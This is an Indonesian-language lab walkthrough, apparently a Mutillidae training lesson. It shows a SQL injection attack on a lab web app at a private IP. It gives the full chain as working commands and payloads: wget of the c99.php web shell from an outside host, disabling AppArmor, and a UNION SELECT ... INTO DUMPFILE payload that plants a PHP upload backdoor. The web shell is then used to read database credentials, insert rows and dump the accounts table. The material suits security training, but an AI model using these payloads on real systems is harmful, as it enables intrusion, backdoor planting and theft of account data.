Lesson 11 - SQL Injection Union Exploit #4
# Mendownload c99.php (PHP SQL Injection)
Step 1 : Download file, lakukan command berikut
mkdir -p /root/backdoor cd /root/backdoor/ wget http://www.computersecuritystudent.com/SECURITY_TOOLS/MUTILLIDAE/MUTILLIDAE_2511/lesson11/stuff.rar ls -lrta
Step 2 : Unrar file dan gabungkan menjadi script, lakukan command berikut
unrar x stuff.rar cat part1.txt part2.txt part3.txt > c99.php cp c99.php c99.php.bkp ls -lrta
Step 3 : Ubah header file php yang awalnya
<?
menjadi<?php
kemudian file dan gabungkan menjadi script, lakukan command berikutsed -i '1 s/^.*$/<?php/g' c99.php ls -lrta
# Upload c99.php (PHP SQL Injection)
Step 1 : Buka
http://10.151.36.64/mutillidae/
lalu masuk ke halaman user info. Pilih sidebar. OWASP Top 10 --> A1 - SQL Injection --> SQLi - Extract Data --> User InfoStep 2 : Ubah ukuran text box username menjadi 100% menggunakan inspect element agar text box lebih panjang untuk menuliskan syntax SQL Injection.
Step 3 : Matikan AppArmor pada Metasploitable OS dengan
sudo /etc/init.d/apparmor stop
AppArmor dalam OS turunan Ubuntu berfungsi untuk membatasi resource dari aktivitas-aktivitas sistem. Hal ini agar MySQL memiliki akses read/write di directori web app.Step 4 : Membuat Backdoor dengan SQL Union Injection dengan memasukan operasi sql di bawah di dalam textbox Name lalu tekan tombol View Account Details
' union select null,null,null,null,'<html><body><div><?php if(isset($_FILES["fupload"])) { $source = $_FILES["fupload"]["tmp_name"]; $target = $_FILES["fupload"]["name"]; move_uploaded_file($source,$target); system("chmod 770 $target"); $size = getImageSize($target); } ?></div><form enctype="multipart/form-data" action="<?php print $_SERVER["PHP_SELF"]?>" method="post"><p><input type="hidden" name="MAX_FILE_SIZE" value="500000"><input type="file" name="fupload"><br><input type="submit" name="upload!"><br></form></body></html>' INTO DUMPFILE '/var/www/mutillidae/upload_file.php' --
Dan jangan lupa untuk menambahkan 1 spasi diakhir,
"-- "
. Operasi ini adalah tidak akan menampilkan hasil, justru Authentication Error. Namun disisi lain akan membuat file upload_file.phpStep 5 : Melihat hasil operasi dengan web browser di
http://10.151.36.64/mutillidae/upload_file.php
Step 6 : Pilih file c99.php yang kita buat tadi di
/root/backdoor/c99.php
, kemudian pilih Submit
# Mengambil autentikasi database
Step 1 : Melihat hasil operasi dengan web browser di
http://10.151.36.64/mutillidae/c99.php
Step 2 : Mengetahui working directory, dengan execute command
pwd
Step 3 : Mencari file yang berisi konfigurasi database, dengan execute command
find /var/www/mutillidae | xargs grep -i "dbuser"
Step 4 : Membuka file yang berisi konfigurasi database, dengan execute command
cat /var/www/mutillidae/config.inc
Tercatat : host : localhost atau 0.0.0.0 user : root password : (kosong) nama database : owasp10
# Mengakses database
Step 1 : Pilih tab SQL kemudian masukan autentikasi yang kita peroleh
Step 2 : Akan terlihat daftar tabel yang ada dalam database tersebut
Step 3 : Pilih tabel accounts kemudian pilih insert untuk memasukan data baru, lalu isi dengan data sesuka Anda
Step 4 : Kembali ke daftar akun di tabel accounts, terlihat akun kita masuk ke row terbaru
Step 5 : Pilih opsi Dump pada tabel accounts, sesuaikan paramater sesuai kebutuhan, kemudian pilih Dump.
Step 6 : File
.sql
yang tersimpan berisi sintaks SQL dari tabel accounts yang bisa kita gunakan